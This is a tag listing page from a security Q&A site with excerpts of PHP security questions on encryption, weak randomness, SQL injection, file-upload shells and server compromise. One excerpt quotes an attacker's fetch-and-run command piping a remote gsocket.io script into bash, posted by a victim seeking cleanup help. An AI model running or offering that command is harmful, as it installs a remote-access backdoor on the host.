Questions tagged [php]
Security aspects concerning code written in the programming language PHP which is often used for web applications.
1,639 questions
1vote
1answer
34views
Does PHP's Composer provide cryptographic authentication and integrity validation?
Does PHP's Composer package manager cryptographically validate its payload's authentication and integrity for all packages after downloading them and before installing them? I see a lot of guides ...
1vote
0answers
61views
Is reducing the webserver stack from Caddy, NGINX and PHP-FPM to only Caddy and PHP-FPM a reduction in layered-security?
I have a situation where a webserver behind a network firewall is ran inside of Docker containers. It is setup in this order: Caddy webserver - acts as WAF, GEOIP block, IP blacklist, HTTP Security ...
6votes
1answer
2kviews
Are my basic implemetations of AES-CBC and AES-GCM in PHP secure?
I need to encrypt and decrypt some passwords in PHP. Normally I would hash them, but I need to be able to decrypt them again because they're keys for an external service. I googled around a bit, but ...
0votes
0answers
22views
Removing Gsocket.io connection from server [duplicate]
My customer server has been compromised. They running this script by the PHP script bash -c "$(curl -fsSL https://gsocket.io/x)" and I have several folder in /tmp file as below -rw------- 1 ...
2votes
2answers
893views
Is my TOTP key secure on a free hosting provider server with FTP and .htaccess restrictions?
I'm hosting a website on a free hosting provider server that uses PHP for OTP-based authentication. Here’s how it works: If an unregistered IP address visits the site, it shows an "Unauthorized&...
1vote
0answers
55views
Usage of Mt_Rand in PHP
I am creating an exericse for my users, where I am trying to tell them that using mt_rand() is not a good option from security point of view. What I did is that I showed them a normal user who gets a ...
0votes
2answers
138views
Is PHP's mt_rand function insecure on every platform?
I was going through this article, https://www.ambionics.io/blog/php-mt-rand-prediction, which claims that if we use mt_rand(), we can get the seed value using two values instead of brute forcing. In ...
11votes
3answers
3kviews
Determining Entropy in PHP
I am using the following code in my code to send a password reset token to a user. $token = md5($user_id . time()); Why this is considered as a bad approach being cited as it has a weak entropy. The ...
0votes
1answer
308views
Executing a PHP file after file upload
I am testing a web application and I found a file upload vulnerability where I can upload php files to the server with the ability to know the path. The issue is that when I go to the file path, the ...
2votes
1answer
107views
How can malicious user change file on server without it being logged in server logs and how to protect against it?
Our server has been hacked, .php file accessible from outside was modified to include execution of shell commands passed in POST parameter. I've been inspecting relevant log file and couldn't find the ...
2votes
1answer
297views
MySQL error when SQL injecting valid command
I have internal API tool to clear database tables for testing, the code is unsafe and I want to write a small PoC. I however have troubles successfully executing this basic SQL-injection. This ...
3votes
1answer
235views
How do I encrypt and store user data?
I'm building a PHP website using MySQL as a database for an event managing system. I want to store user data so when they sign up for an event they can just verify information and submit, rather than ...
0votes
0answers
295views
Why does my uploaded shell as .php gets downloaded rather than executed when I hit the URL?
I have uploaded a php shell using a file upload vulnerability. But when I hit the .php url after uploading it. It gets downloaded rather than executed. Why is that. And how can I execute my shell code?...
1vote
2answers
112views
PHP embedded within PNG is not executing rather randering in IIS but executes in Apache
I am pentesting a site with all permissions. I have been able to upload a PHP shell embedded within a png image. I have also been able to change the extension of the file like something.php. So my ...
0votes
1answer
94views
How to bypass htmlentities($_POST['username'],ENT_QUOTES) SQL injection
What is the sample payload to bypass this protection for SQL injection in PHP code? . . . htmlentities($_POST['username'],ENT_QUOTES) . . . $myquery = mysql_query(sprintf("SELECT * FROM `users` ...